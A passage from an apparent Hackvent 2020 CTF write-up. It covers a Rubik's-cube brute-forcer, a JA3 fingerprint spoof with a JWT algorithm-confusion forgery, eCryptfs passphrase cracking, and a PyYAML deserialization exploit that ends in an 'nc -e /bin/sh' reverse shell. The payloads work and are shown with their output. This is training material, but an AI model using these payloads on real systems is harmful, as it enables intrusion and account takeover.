F[8][1] = T2F(T_8[1]); } void do_R2() { do_R(); do_R(); } // right backward void do_Ri() { rot_right(5); char T_2[2] = {T[2][0], T[2][1]}; char T_5[2] = {T[5][0], T[5][1]}; char T_8[2] = {T[8][0], T[8][1]}; // F -> T T[2][0] = F[2][0]; T[2][1] = F2T(F[2][1]); T[5][0] = F[5][0]; T[5][1] = F2T(F[5][1]); T[8][0] = F[8][0]; T[8][1] = F2T(F[8][1]); // D -> F F[2][0] = D[2][0]; F[2][1] = D2F(D[2][1]); F[5][0] = D[5][0]; F[5][1] = D2F(D[5][1]); F[8][0] = D[8][0]; F[8][1] = D2F(D[8][1]); // B -> D D[2][0] = B[6][0]; D[2][1] = B2D(B[6][1]); D[5][0] = B[3][0]; D[5][1] = B2D(B[3][1]); D[8][0] = B[0][0]; D[8][1] = B2D(B[0][1]); // T -> B B[6][0] = T_2[0]; B[6][1] = T2B(T_2[1]); B[3][0] = T_5[0]; B[3][1] = T2B(T_5[1]); B[0][0] = T_8[0]; B[0][1] = T2B(T_8[1]); } // top clockwise void do_T() { rot_right(0); char F_0[2] = {F[0][0], F[0][1]}; char F_1[2] = {F[1][0], F[1][1]}; char F_2[2] = {F[2][0], F[2][1]}; // R -> F F[0][0] = R[0][0]; F[0][1] = R2F(R[0][1]); F[1][0] = R[1][0]; F[1][1] = R2F(R[1][1]); F[2][0] = R[2][0]; F[2][1] = R2F(R[2][1]); // B -> R R[0][0] = B[0][0]; R[0][1] = B2R(B[0][1]); R[1][0] = B[1][0]; R[1][1] = B2R(B[1][1]); R[2][0] = B[2][0]; R[2][1] = B2R(B[2][1]); // L -> B B[0][0] = L[0][0]; B[0][1] = L2B(L[0][1]); B[1][0] = L[1][0]; B[1][1] = L2B(L[1][1]); B[2][0] = L[2][0]; B[2][1] = L2B(L[2][1]); // F -> L L[0][0] = F_0[0]; L[0][1] = F2L(F_0[1]); L[1][0] = F_1[0]; L[1][1] = F2L(F_1[1]); L[2][0] = F_2[0]; L[2][1] = F2L(F_2[1]); } void do_T2() { do_T(); do_T(); } // top counter-clockwise void do_Ti() { rot_left(0); char F_0[2] = {F[0][0], F[0][1]}; char F_1[2] = {F[1][0], F[1][1]}; char F_2[2] = {F[2][0], F[2][1]}; // L -> F F[0][0] = L[0][0]; F[0][1] = L2F(L[0][1]); F[1][0] = L[1][0]; F[1][1] = L2F(L[1][1]); F[2][0] = L[2][0]; F[2][1] = L2F(L[2][1]); // B -> L L[0][0] = B[0][0]; L[0][1] = B2L(B[0][1]); L[1][0] = B[1][0]; L[1][1] = B2L(B[1][1]); L[2][0] = B[2][0]; L[2][1] = B2L(B[2][1]); // R -> B B[0][0] = R[0][0]; B[0][1] = R2B(R[0][1]); B[1][0] = R[1][0]; B[1][1] = R2B(R[1][1]); B[2][0] = R[2][0]; B[2][1] = R2B(R[2][1]); // F -> R R[0][0] = F_0[0]; R[0][1] = F2R(F_0[1]); R[1][0] = F_1[0]; R[1][1] = F2R(F_1[1]); R[2][0] = F_2[0]; R[2][1] = F2R(F_2[1]); } // down clockwise void do_D() { rot_left(2); char F_6[2] = {F[6][0], F[6][1]}; char F_7[2] = {F[7][0], F[7][1]}; char F_8[2] = {F[8][0], F[8][1]}; // R -> F F[6][0] = R[6][0]; F[6][1] = R2F(R[6][1]); F[7][0] = R[7][0]; F[7][1] = R2F(R[7][1]); F[8][0] = R[8][0]; F[8][1] = R2F(R[8][1]); // B -> R R[6][0] = B[6][0]; R[6][1] = B2R(B[6][1]); R[7][0] = B[7][0]; R[7][1] = B2R(B[7][1]); R[8][0] = B[8][0]; R[8][1] = B2R(B[8][1]); // L -> B B[6][0] = L[6][0]; B[6][1] = L2B(L[6][1]); B[7][0] = L[7][0]; B[7][1] = L2B(L[7][1]); B[8][0] = L[8][0]; B[8][1] = L2B(L[8][1]); // F -> L L[6][0] = F_6[0]; L[6][1] = F2L(F_6[1]); L[7][0] = F_7[0]; L[7][1] = F2L(F_7[1]); L[8][0] = F_8[0]; L[8][1] = F2L(F_8[1]); } void do_D2() { do_D(); do_D(); } // down counter-clockwise void do_Di() { rot_right(2); char F_6[2] = {F[6][0], F[6][1]}; char F_7[2] = {F[7][0], F[7][1]}; char F_8[2] = {F[8][0], F[8][1]}; // L -> F F[6][0] = L[6][0]; F[6][1] = L2F(L[6][1]); F[7][0] = L[7][0]; F[7][1] = L2F(L[7][1]); F[8][0] = L[8][0]; F[8][1] = L2F(L[8][1]); // B -> L L[6][0] = B[6][0]; L[6][1] = B2L(B[6][1]); L[7][0] = B[7][0]; L[7][1] = B2L(B[7][1]); L[8][0] = B[8][0]; L[8][1] = B2L(B[8][1]); // R -> B B[6][0] = R[6][0]; B[6][1] = R2B(R[6][1]); B[7][0] = R[7][0]; B[7][1] = R2B(R[7][1]); B[8][0] = R[8][0]; B[8][1] = R2B(R[8][1]); // F -> R R[6][0] = F_6[0]; R[6][1] = F2R(F_6[1]); R[7][0] = F_7[0]; R[7][1] = F2R(F_7[1]); R[8][0] = F_8[0]; R[8][1] = F2R(F_8[1]); } char check() { char dq0,dq1,dq2,dq3,dq4,dq5; dq0 = d(T[0]); dq1 = d(F[0]); dq2 = d(D[0]); dq3 = d(B[0]); dq4 = d(L[0]); dq5 = d(R[0]); for (int i = 1; i < 9; i++) { if (d(T[i]) != dq0) return 0; if (d(F[i]) != dq1) return 0; if (d(D[i]) != dq2) return 0; if (d(B[i]) != dq3) return 0; if (d(L[i]) != dq4) return 0; if (d(R[i]) != dq5) return 0; } return 1; } void (*fcns[])() = {do_F,do_F2,do_Fi,do_B,do_B2,do_Bi,do_L,do_L2,do_Li,do_R,do_R2,do_Ri,do_T,do_T2,do_Ti,do_D,do_D2,do_Di}; int main() { for (int i = 0; i < 18; i++) { for (int j = 0; j < 18; j++) { for (int k = 0; k < 18; k++) { for (int l = 0; l < 18; l++) { for (int m = 0; m < 18; m++) { reset_q(); fcns[i](); fcns[j](); fcns[k](); fcns[l](); fcns[m](); if (check()) read_blocks(); } } } } } return 0; }

Compiling and running the program yields the flag in an acceptable amount of time (though this is far from being good):

kali@kali:~/hv20/16$ gcc craxx0r.c -o craxx0r kali@kali:~/hv20/16$ time ./craxx0r HV20{no_sle3p_since_4wks_lead5_to_@_hi6hscore_a7_last} real 0m0.729s user 0m0.714s sys 0m0.001s

The flag is HV20{no_sle3p_since_4wks_lead5_to_@_hi6hscore_a7_last}.

HV20.17 Santa's Gift Factory Control

Categories: Web Security
Santa has a customized remote control panel for his gift factory at the north pole. Only clients with the following fingerprint seem to be able to connect:



Connect to Santa's super-secret control panel and circumvent its access controls.

Santa's Control Panel


The remote control panel does client fingerprinting

When visting the provided link to Santa's Control Panel we get a 403 Forbidden response:

After some gooling we can find out that the fingerprint provided in the challenge is a JA3 SSL fingerprint.

Also there is an article from CUCyber, which describes how to impersonate a JA3 fingerprint. The article is accompanied by a Go implementation.

At first we download the package:

kali@kali:~/hv20/17/client$ go get github.com/CUCyber/ja3transport

Using the provided example from the article, we can use the package in order to set our own JA3 fingerprint (taken from the challenge description):

kali@kali:~/hv20/17/client$ cat client.go package main import ("github.com/CUCyber/ja3transport" "net/http" "fmt" "io/ioutil" ) func main() { tr, _ := ja3transport.NewTransport("771,49162-49161-52393-49200-49199-49172-49171-52392,0-13-5-11-43-10,23-24,0") client := &http.Client{Transport: tr} resp, _ := client.Get("https://876cfcc0-1928-4a71-a63e-29334ca287a0.rdocker.vuln.land/") defer resp.Body.Close() body, _ := ioutil.ReadAll(resp.Body) fmt.Println(resp.Header) fmt.Println(string(body)) }

Now we actually get a response:

kali@kali:~/hv20/17/client$ go run client.go map[Connection:[keep-alive] Content-Length:[1103] Content-Type: Date:[Thu, 17 Dec 2020 08:55:10 GMT] Server:[nginx/1.19.6]] <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Santa's Control Panel</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="static/bootstrap/bootstrap.min.css" rel="stylesheet" media="screen"> <link href="static/fontawesome/css/all.min.css" rel="stylesheet" media="screen"> <link href="static/style.css" rel="stylesheet" media="screen"> </head> <body> <div class="login"> <h1>Login</h1> <form action="/login" method="post"> <label for="username"> <i class="fas fa-user"></i> </label> <input type="text" name="username" placeholder="Username" id="username"> <label for="password"> <i class="fas fa-lock"></i> </label> <input type="password" name="password" placeholder="Password" id="password"> <input type="submit" value="Login"> </form> </div> </body> </html>

The response contains a login field with the POST parameters username and password. So let's craft a POST request and try to log in:

kali@kali:~/hv20/17/client$ cat client_post.go package main import ("github.com/CUCyber/ja3transport" "net/http" "net/url" "strings" "strconv" "fmt" "io/ioutil" ) func main() { tr, _ := ja3transport.NewTransport("771,49162-49161-52393-49200-49199-49172-49171-52392,0-13-5-11-43-10,23-24,0") client := &http.Client{Transport: tr} data := url.Values{"username":{"santa"},"password":{"test"}} req, _ := http.NewRequest("POST", "https://876cfcc0-1928-4a71-a63e-29334ca287a0.rdocker.vuln.land/login", strings.NewReader(data.Encode())) req.Header.Add("Content-Type", "application/x-www-form-urlencoded") req.Header.Add("Content-Length", strconv.Itoa(len(data.Encode()))) resp, _ := client.Do(req) defer resp.Body.Close() body, _ := ioutil.ReadAll(resp.Body) fmt.Println(resp.Header) fmt.Println(string(body)) }

Issuing the request results in the response Invalid credentials.:

kali@kali:~/hv20/17/client$ go run client_post.go map[Connection:[keep-alive] Content-Length:[1184] Content-Type: Date:[Thu, 17 Dec 2020 09:02:35 GMT] Server:[nginx/1.19.6]] ... <input type="password" name="password" placeholder="Password" id="password"> <div class="msg">Invalid credentials.</div> <input type="submit" value="Login"> ...

Though when we change the username to admin ...

... data := url.Values{"username":{"admin"},"password":{"test"}} ...

... we get a differente response:

kali@kali:~/hv20/17/client$ go run client_post.go map[Connection:[keep-alive] Content-Length:[1275] Content-Type: Date:[Thu, 17 Dec 2020 09:04:09 GMT] Server:[nginx/1.19.6] Set-Cookie:[session=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Ii9rZXlzLzFkMjFhOWY5NDUifQ.eyJleHAiOjE2MDgxOTk0NDksImlhdCI6MTYwODE5NTg0OSwic3ViIjoibm9uZSJ9.g-_nNE_WkcrS_IDdKRXZTlECQvTPVtc2-za2459Z3LqmAf0IwgwcbqUQS3npdMnmsxKqQRCU7J-atMWVlkjxI_RulE4ZxZHi4EurrbBPI2f-SRbouKX0xpTeAL76hflHWLPdxI0foTg1YGl6i7riyyufhog98Pt8KXMnWcFrbrQ0cWTnythuCZMz9Z5ppNpx-FLC7WltOwlNSS4orOtmcF6i4VvYke8anhAa6h43MxqpvPAgsWQYR5i6jPe5ctkVQ1HLI7W7HU4PqeygJF1QYl2A8GyiFBhSwbp596EdaybvkgWNlO0jKIil0_DHdPadjQRKCL8gO17rMCvLr26uDA; Path=/]] <!DOCTYPE html> ... <input type="password" name="password" placeholder="Password" id="password"> <div class="msg">Invalid credentials.</div> <input type="submit" value="Login"> </form> </div> <!--DevNotice: User santa seems broken. Temporarily use santa1337.--> </body> </html>

The response contains a cookie called session as well as a hint, that we should use the username santa1337.

The cookie seems to be a JSON Web Token (JWT) and we can use jwt.io to decode it:

The algorithm used here is RSA256, which uses the private key in order to sign the token and the public key in order to verify the signature. Within the kid value we can see, which public key is used: /keys/1d21a9f945. Let's get this key:

... resp, _ := client.Get("https://876cfcc0-1928-4a71-a63e-29334ca287a0.rdocker.vuln.land/keys/1d21a9f945") ...

kali@kali:~/hv20/17/client$ go run client.go map[Connection:[keep-alive] Content-Length:[451] Content-Type: Date:[Thu, 17 Dec 2020 09:12:26 GMT] Server:[nginx/1.19.6]] -----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0KDtdDsZ/wpGXWRnP6DY Ri7OxTWiwPVg8eTsVcmbzAkk2r4itb3NqRw9xpJeUHorgfw1f9GkuAFg/squMrXb SYM0Vcxqmtsq379xCw6s0pxIafPR7TEAVRh5Mxrudl2lwiO4vJPs+2tmcgui/bFn wC+qByZtIlsP+rlT/MF2wLaWe/LNAWtOXdFVDOzUy6ylLZeL6fRtt9SiuUOQkkC3 US8TmvVQYcCcwvu4GBJeGdlKrbIuXIohl7hP5i9/KZ3kIvzByp/Xk5iq+tH95/9u X/9FHKUSrcRE4NYVRhkqHPpn/EbqXHMX0BM0QoGETORlpZIo/lAOQ7/ezOd9z1fw zwIDAQAB -----END PUBLIC KEY-----

In order to modify the contents of the JWT, we need to sign it. Though we don't have the private key required for this. Nevertheless we can change the algorithm to HS256, which will use the public key in order to sign the token. The attack is e.g. described here.

We start by modifying the token. In this case we set the algorithm to HS256 and set the payload value sub to santa1337:

Now we copy the token omitting the signature (third part):


In order to sign this token we follow the steps described in the article above.

At first we hex encode the public key downloaded from the server:

kali@kali:~/hv20/17$ cat pub_key -----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0KDtdDsZ/wpGXWRnP6DY Ri7OxTWiwPVg8eTsVcmbzAkk2r4itb3NqRw9xpJeUHorgfw1f9GkuAFg/squMrXb ...

kali@kali:~/hv20/17$ cat pub_key|xxd -p|tr -d '\n' 2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b7...

Now we can use openssl and python in order to create the SHA256 HMAC and base64 encode the token:

kali@kali:~/hv20/17$ python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('"$(echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii9rZXlzLzFkMjFhOWY5NDUifQ.eyJleHAiOjE2MDgxOTk0NDksImlhdCI6MTYwODE5NTg0OSwic3ViIjoic2FudGExMzM3In0" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e205055424c...|cut -d ' ' -f2)"')).replace('=','')\")" gFoNQ9Is8j6g-_4w8CnHMoXyPyM9VHApk132vmJC5bM

The result is the signature of our crafted token, which is supposed to be appended to it (separated by a dot).

At last we insert the signed token as the session cookie to a request to the root page:

kali@kali:~/hv20/17/client$ cat client_cookie.go package main import ("github.com/CUCyber/ja3transport" "net/http" "fmt" "io/ioutil" ) func main() { tr, _ := ja3transport.NewTransport("771,49162-49161-52393-49200-49199-49172-49171-52392,0-13-5-11-43-10,23-24,0") client := &http.Client{Transport: tr} req, _ := http.NewRequest("GET", "https://876cfcc0-1928-4a71-a63e-29334ca287a0.rdocker.vuln.land/", nil) session := "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii9rZXlzLzFkMjFhOWY5NDUifQ.eyJleHAiOjE2MDgxOTk0NDksImlhdCI6MTYwODE5NTg0OSwic3ViIjoic2FudGExMzM3In0.gFoNQ9Is8j6g-_4w8CnHMoXyPyM9VHApk132vmJC5bM" req.Header.Add("Cookie", "session="+session) resp, _ := client.Do(req) defer resp.Body.Close() body, _ := ioutil.ReadAll(resp.Body) fmt.Println(resp.Header) fmt.Println(string(body)) }

Issuing the request yields access to Santa's Control Panel, which contains the flag:

kali@kali:~/hv20/17/client$ go run client_cookie.go map[Connection:[keep-alive] Content-Length:[6515] Content-Type: Date:[Thu, 17 Dec 2020 09:29:21 GMT] Server:[nginx/1.19.6]] <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Santa's Control Panel</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="static/bootstrap/bootstrap.min.css" rel="stylesheet" media="screen"> <link href="static/fontawesome/css/all.min.css" rel="stylesheet" media="screen"> <link href="static/style.css" rel="stylesheet" media="screen"> </head> <!--Congratulations, here's your flag: HV20{ja3_h45h_1mp3r50n4710n_15_fun}--> <body class="loggedin"> <nav class="navtop"> <div> <h1>Gift Factory Control</h1> <a href="/"><i class="fas fa-home"></i>Home</a> <a href="/logout"><i class="fas fa-sign-out-alt"></i>Logout</a> </div> </nav> <div class="content"> <h2>Welcome to the Gift Factory at the North Pole!</h2> <p>The control panel enables Santa to instruct his elves in the gift factory from remote.</p> ...

The flag is HV20{ja3_h45h_1mp3r50n4710n_15_fun}.

HV20.18 Santa's lost home

Categories: Linux
Santa has forgotten his password and can no longer access his data. While trying to read the hard disk from another computer he also destroyed an important file. To avoid further damage he made a backup of his home partition. Can you help him recover the data.

When asked he said the only thing he remembers is that he used his name in the password... I thought this was something only a real human would do...



It's not rock-science, it's station-science!
Use default options

The provided backup file is a linux image:

kali@kali:~/hv20/18$ bunzip2 9154cb91-e72e-498f-95de-ac8335f71584.img.bz2 kali@kali:~/hv20/18$ file 9154cb91-e72e-498f-95de-ac8335f71584.img 9154cb91-e72e-498f-95de-ac8335f71584.img: Linux rev 1.0 ext2 filesystem data, UUID=5a9bec26-3f99-4101-bc44-153139202629 (extents) (64bit) (large files) (huge files)

Let's mount it:

kali@kali:~/hv20/18$ sudo mkdir /mnt/hv18 kali@kali:~/hv20/18$ sudo mount 9154cb91-e72e-498f-95de-ac8335f71584.img /mnt/hv18

The filesystem contains santa home directory, which seems to be encrypted with eCryptfs:

kali@kali:~/hv20/18$ cd /mnt/hv18/ kali@kali:/mnt/hv18$ ls -al total 32 drwxr-xr-x 5 root root 4096 Nov 21 04:55 . drwxr-xr-x 5 root root 4096 Dec 19 00:43 .. drwxr-xr-x 3 root root 4096 Nov 21 04:45 .ecryptfs drwx------ 2 root root 16384 Nov 21 04:40 lost+found dr-x------ 2 kali kali 4096 Nov 21 04:45 santa

The encrypted files are stored in .ecryptfs/santa/.Private/:

kali@kali:/mnt/hv18$ cd .ecryptfs/santa/.Private/ kali@kali:/mnt/hv18/.ecryptfs/santa/.Private$ ls -al total 124 drwx------ 5 kali kali 4096 Nov 21 04:47 . drwxr-xr-x 4 kali kali 4096 Nov 21 04:45 .. lrwxrwxrwx 1 kali kali 104 Nov 21 04:45 ECRYPTFS_FNEK_ENCRYPTED.FWZ07.HM9hn6u-TZiWKrjgW6DXtByC4T9a7d3jR0N.8eRZ6tCge1bB0sDk-- -> ... -rw-rw-r-- 1 kali kali 12288 Nov 21 04:47 ECRYPTFS_FNEK_ENCRYPTED.FWZ07.HM9hn6u-TZiWKrjgW6DXtByC4T9a7d71FVjTGpVsJzCndwWUizwk-- -rw-r--r-- 1 kali kali 12288 Nov 21 04:43 ECRYPTFS_FNEK_ENCRYPTED.FWZ07.HM9hn6u-TZiWKrjgW6DXtByC4T9a7dAmhR-btY3XiBOwSO2PoBPk-- -rw-r--r-- 1 kali kali 12288 Nov 21 04:43 ECRYPTFS_FNEK_ENCRYPTED.FWZ07.HM9hn6u-TZiWKrjgW6DXtByC4T9a7dCUVmirG.GL1fQxxAD3586k-- -rw-r--r-- 1 kali kali 12288 Nov 21 04:43 ECRYPTFS_FNEK_ENCRYPTED.FWZ07.HM9hn6u-TZiWKrjgW6DXtByC4T9a7ddA6PxrTroJKVisYGJ47EK--- ...

There is a good article (german) on how to recover the encrypted data. According to the article a requirement is to possess the wrapped-passphrase file or have read its content beforehand as well as the knowledge of the password used to encrypt the data.

The wrapped-passphrase file should be located at .ecryptfs/santa/.ecryptfs. Though it is not there:

kali@kali:/mnt/hv18/.ecryptfs/santa/.ecryptfs$ ls -al total 16 drwx------ 2 kali kali 4096 Nov 21 04:59 . drwxr-xr-x 4 kali kali 4096 Nov 21 04:45 .. -rw-r--r-- 1 kali kali 0 Nov 21 04:45 auto-mount -rw-r--r-- 1 kali kali 0 Nov 21 04:45 auto-umount -rw------- 1 kali kali 12 Nov 21 04:45 Private.mnt -rw------- 1 kali kali 34 Nov 21 04:45 Private.sig

So at the moment we don't meet any of the requirements. We neither have the wrapped-passphrase file, nor do we know the password used to encrypt the data.

At first let's get the wrapped-passphrase file. There is another good article, which explains the details on the older format of the wrapped-passphrase file, but also the new one. Accordingly the first two bytes of the file are the version, which is supposed to be 3a 02. Let's search for this in the raw image:

And we actually get a hit:

The wrapped-passphrase file seems to be located at offset 0x5c00000. Using dd we can extract it:

kali@kali:~/hv20/18$ dd if=9154cb91-e72e-498f-95de-ac8335f71584.img of=wrapped-passphrase bs=1 skip=$(rax2 0x5c00000) count=$(rax2 0x3a) 58+0 records in 58+0 records out 58 bytes copied, 0.000407634 s, 142 kB/s

kali@kali:~/hv20/18$ hexdump -C wrapped-passphrase 00000000 3a 02 a7 23 b1 2f 66 bc fe aa 30 35 31 31 31 39 |:..#./f...051119| 00000010 62 30 62 61 63 65 30 61 62 36 db b8 dd 00 47 8f |b0bace0ab6....G.| 00000020 a1 89 ae c3 cb e5 22 94 f4 ca d1 57 fe 2d 78 65 |......"....W.-xe| 00000030 67 74 61 1f 32 1b 99 30 6f c7 |gta.2..0o.| 0000003a

First requirement fullfilled. Now we need to get the password used to encrypt the data. The article mentioned before describes the format of the file. The first two bytes are the version (3a 02), which are followed by an 8 byte salt (a7 23 b1 2f 66 bc fe aa). The next 16 bytes are the signature (8 bytes, encoded in ASCII): 051119b0bace0ab6. The 32 following bytes are the wrapped passphrase.

The signature is used to validate if a given password is correct. In order to do this 65536 SHA512 iterations of the salt and password are computed: SHA512(SHA512(...SHA512(salt+password)..)). The signature consists of the first 8 bytes of the result. Both john and hashcat are able to crack the hash. For the purpose of understanding I created a little python implementation:

kali@kali:~/hv20/18$ cat craxx0r.py #!/usr/bin/env python3 import hashlib def calc_sig(salt, pwd): m = hashlib.sha512() m.update(salt+pwd) h = m.digest() for i in range(65536): m = hashlib.sha512() m.update(h) h = m.digest() return (h.hex()[:16]) salt = bytes.fromhex('a723b12f66bcfeaa') sig = '051119b0bace0ab6' wl = 'santa.txt' words = open(wl).read().split('\n') for w in words: w = w.encode() r = calc_sig(salt, w) if (r == sig): print(w) quit()

Based on the hints within the challenge the wordlist used (santa.txt) was created by grepping for santa within the crackstation-human-only.txt wordlist:

kali@kali:~/hv20/18$ cat /usr/share/wordlists/crackstation-human-only.txt | grep santa > santa.txt kali@kali:~/hv20/18$

Running the script yields the password used to encrypt the data:

kali@kali:~/hv20/18$ ./craxx0r.py b'think-santa-lives-at-north-pole'

In order to crack the hash with john the following format should be used: $ecryptfs$0$1$<salt>$<signature>.

kali@kali:~/hv20/18$ cat ecrypt_hash.txt wrapped-passphrase:$ecryptfs$0$1$a723b12f66bcfeaa$051119b0bace0ab6

kali@kali:~/hv20/18$ john ecrypt_hash.txt --wordlist=./santa.txt Using default input encoding: UTF-8 Loaded 1 password hashes with 1 different salts (eCryptfs [SHA512 256/256 AVX2 4x]) Press 'q' or Ctrl-C to abort, almost any other key for status think-santa-lives-at-north-pole (wrapped-passphrase) 1g 0:00:08:49 DONE (2020-12-18 13:19) 0.001887g/s 26.14p/s 129.6c/s 129.6C/s _SANTANA6931_.._santanascream89 Use the "--show" option to display all of the cracked passwords reliably Session completed

Accordingly the password used is think-santa-lives-at-north-pole.

At this point we meet both requirements in order to recover the encrypted data: possession of the file wrapped-passphrase as well as the password used to encrypt the data.

At first we can use ecryptfs-unwrap-passphrase in order to read the wrapped passphrase:

kali@kali:~/hv20/18$ ecryptfs-unwrap-passphrase wrapped-passphrase Passphrase: (think-santa-lives-at-north-pole) eeafa1586db2365d5f263ef867f586e4

Now we can decrypt the data using ecryptfs-recover-private (I switched to an Ubuntu box here):

user@b0x:/mnt/hv20/18$ sudo ecryptfs-recover-private .ecryptfs/santa/.Private/ [sudo] password for user: INFO: Found [.ecryptfs/santa/.Private/]. Try to recover this directory? [Y/n]: INFO: Could not find your wrapped passphrase file. INFO: To recover this directory, you MUST have your original MOUNT passphrase. INFO: When you first setup your encrypted private directory, you were told to record INFO: your MOUNT passphrase. INFO: It should be 32 characters long, consisting of [0-9] and [a-f]. Enter your MOUNT passphrase: (eeafa1586db2365d5f263ef867f586e4) INFO: Success! Private data mounted at [/tmp/ecryptfs.dBVRS4F4].

The data was successfully decrypted. We can finally access it:

user@b0x:/mnt/hv20/18$ cd /tmp/ecryptfs.dBVRS4F4/ user@b0x:/tmp/ecryptfs.dBVRS4F4$ ls -al total 124 drwx------ 5 user user 4096 Nov 21 10:47 . drwxrwxrwt 19 root root 4096 Dez 18 21:17 .. -rw------- 1 user user 45 Nov 21 10:47 .bash_history -rw-r--r-- 1 user user 220 Nov 21 10:43 .bash_logout -rw-r--r-- 1 user user 3771 Nov 21 10:43 .bashrc drwx------ 2 user user 4096 Nov 21 10:46 .cache drwxr-xr-x 5 user user 4096 Nov 21 10:43 .config lrwxrwxrwx 1 user user 31 Nov 21 10:45 .ecryptfs -> /home/.ecryptfs/santa/.ecryptfs -rw-rw-r-- 1 user user 46 Nov 21 10:47 flag.txt -rw-r--r-- 1 user user 22 Nov 21 10:43 .gtkrc-2.0 -rw-r--r-- 1 user user 516 Nov 21 10:43 .gtkrc-xfce -rw------- 1 user user 221 Nov 21 10:47 .joe_state drwxr-xr-x 3 user user 4096 Nov 21 10:43 .local lrwxrwxrwx 1 user user 30 Nov 21 10:45 .Private -> /home/.ecryptfs/santa/.Private -rw-r--r-- 1 user user 807 Nov 21 10:43 .profile

One of the files is called flag.txt:

user@b0x:/tmp/ecryptfs.dBVRS4F4$ cat flag.txt HV20{a_b4ckup_of_1mp0rt4nt_f1l35_15_3553nt14l}

The flag is HV20{a_b4ckup_of_1mp0rt4nt_f1l35_15_3553nt14l}.

HV20.19 Docker Linter Service

Categories: Exploitation
Web Security
Author:The Compiler
Docker Linter is a useful web application ensuring that your Docker-related files follow best practices. Unfortunately, there's a security issue in there...


This challenge requires a reverse shell. You can use the provided Web Shell or the VPN to solve this challenge (see RESOURCES on top).

Note: The VPN connection information has been updated.

The provided website offers a linter service for docker files:

After getting an overview of the three supported files, docker-compose.yml seemed most promissing.

The linter service expects a docker-compose.yml file to be uploaded or entered ...

... and outputs the result of three different validation checks:

In the past there have been quite a few deserialization vulnerabilites relating YAML, so this seems to be a likely target.

As described in the before mentioned cheatsheet from OWASP, a very basic payload looks like this:

!!python/object/apply:os.system ['ipconfig']

Though this does not seem to work here.

After a little bit of googling, we can find the following payload in a github issue of pyyaml:

!!python/object/new:tuple - !!python/object/new:map - !!python/name:eval - [ "RCE_HERE" ]

This payload instantiate a tuple object mapping the eval function to a string containing arbitrary python code.

In order to execute OS commands using eval, we can use the builtin function __import__ like so:

kali@kali:~/hv20/19$ python3 ... <<< eval('__import__("os").system("id")') uid=1000(kali) gid=1000(kali) groups=1000(kali),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),117(bluetooth),125(lpadmin),127(scanner)

Let's verify that the payloads works by starting a nc listener on the provided web shell and trigger wget (which is available on most systems) with the following payload:

!!python/object/new:tuple - !!python/object/new:map - !!python/name:eval - [ "__import__('os').system('wget')" ]

We actually get a hit:

hacker@6c167989-f2f6-41f1-ae14-16aa26d4ca6f:~$ nc -lvp 4242 listening on [any] 4242 ... connect to [] from tmp_docker-linter-a9722bb3-4f54-481f-b158-d4d7b8664e26_1.tmp_default [] 47192 GET / HTTP/1.1 Host: User-Agent: Wget Connection: close

At next we can try to get a reverse shell using nc with the following payload:

!!python/object/new:tuple - !!python/object/new:map - !!python/name:eval - [ "__import__('os').system('nc -vn 4242 -e /bin/sh')" ]

Again we actually suceed and get a reverse shell:

hacker@6c167989-f2f6-41f1-ae14-16aa26d4ca6f:~$ nc -lvp 4242 listening on [any] 4242 ... connect to [] from tmp_docker-linter-a9722bb3-4f54-481f-b158-d4d7b8664e26_1.tmp_default [] 33159 id uid=2000(hacker) gid=2000(hacker) groups=2000(hacker)

At last we simply need to output the flag:

ls -al total 40 drwxr-xr-x 1 root root 138 Dec 18 10:43 . drwxr-xr-x 1 root root 62 Dec 19 17:40 .. -rw-r--r-- 1 root root 3581 Nov 9 14:57 app.py drwxr-xr-x 1 root root 22 Dec 18 11:43 bin drwxr-xr-x 2 root root 58 Nov 9 13:46 dockerfile_lint_rules -rw-rw-r-- 1 root root 46 Dec 18 10:43 flag.txt -rw-r--r-- 1 root root 2219 Nov 9 14:57 linting.py drwxr-xr-x 61 root root 4096 Dec 18 11:43 node_modules -rw-r--r-- 1 root root 16885 Dec 18 11:43 package-lock.json -rw-r--r-- 1 root root 160 Nov 9 14:57 requirements.txt drwxr-xr-x 2 root root 65 Dec 18 10:43 static drwxr-xr-x 2 root root 92 Dec 18 10:43 templates cat flag.txt HV20{pyy4ml-full-l04d-15-1n53cur3-4nd-b0rk3d}

The flag is HV20{pyy4ml-full-l04d-15-1n53cur3-4nd-b0rk3d}.

HV20.20 Twelve steps of Christmas

Categories: Linux
On the twelfth day of Christmas my true love sent to me...
twelve rabbits a-rebeling,
eleven ships a-sailing,
ten (twentyfourpointone) pieces a-puzzling,
and the rest is history.


You should definitely give Bread's famous easy perfect fresh rosemary yeast black pepper bread a try this Christmas!

Running strings on the image reveals that it contains HTML code:

kali@kali:~/hv20/20$ strings -n 10 bfd96926-dd11-4e07-a05a-f6b807570b5a.png ... <html> 4_*Gf --><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge"> <style>body{visibility: hidden;}.s{visibility: visible; position: absolute; top: 15px; left: 10px;}textarea{visibility: hidden; height: 0px; width: 0px; font-family: monospace;}</style> <script>var bL=1, eC=3, gr=2; var cvs, pix, ctx, pdt; function SHA1(msg){function rotate_left(n, s){var t4=(n << s) | (n >>> (32 - s)); return t4;}; function lsb_hex(val){var str=""; var i; var vh; var vl; for (i=0; i <=6; i +=2){vh=(val >>> (i * 4 + 4)) & 0x0f; vl=(val >>> (i * 4)) & 0x0f; str +=vh.toString(16) + vl.toString(16);}return str;}; function cvt_hex(val){var str=""; var i; var v; for (i=7; i >=0; i--){v=(val >>> (i * 4)) & 0x0f; str +=v.toString(16);}return str;}; function Utf8Encode(string){string=string.replace(/\r\n/g, "\n"); var utftext=""; for (var n=0; n < 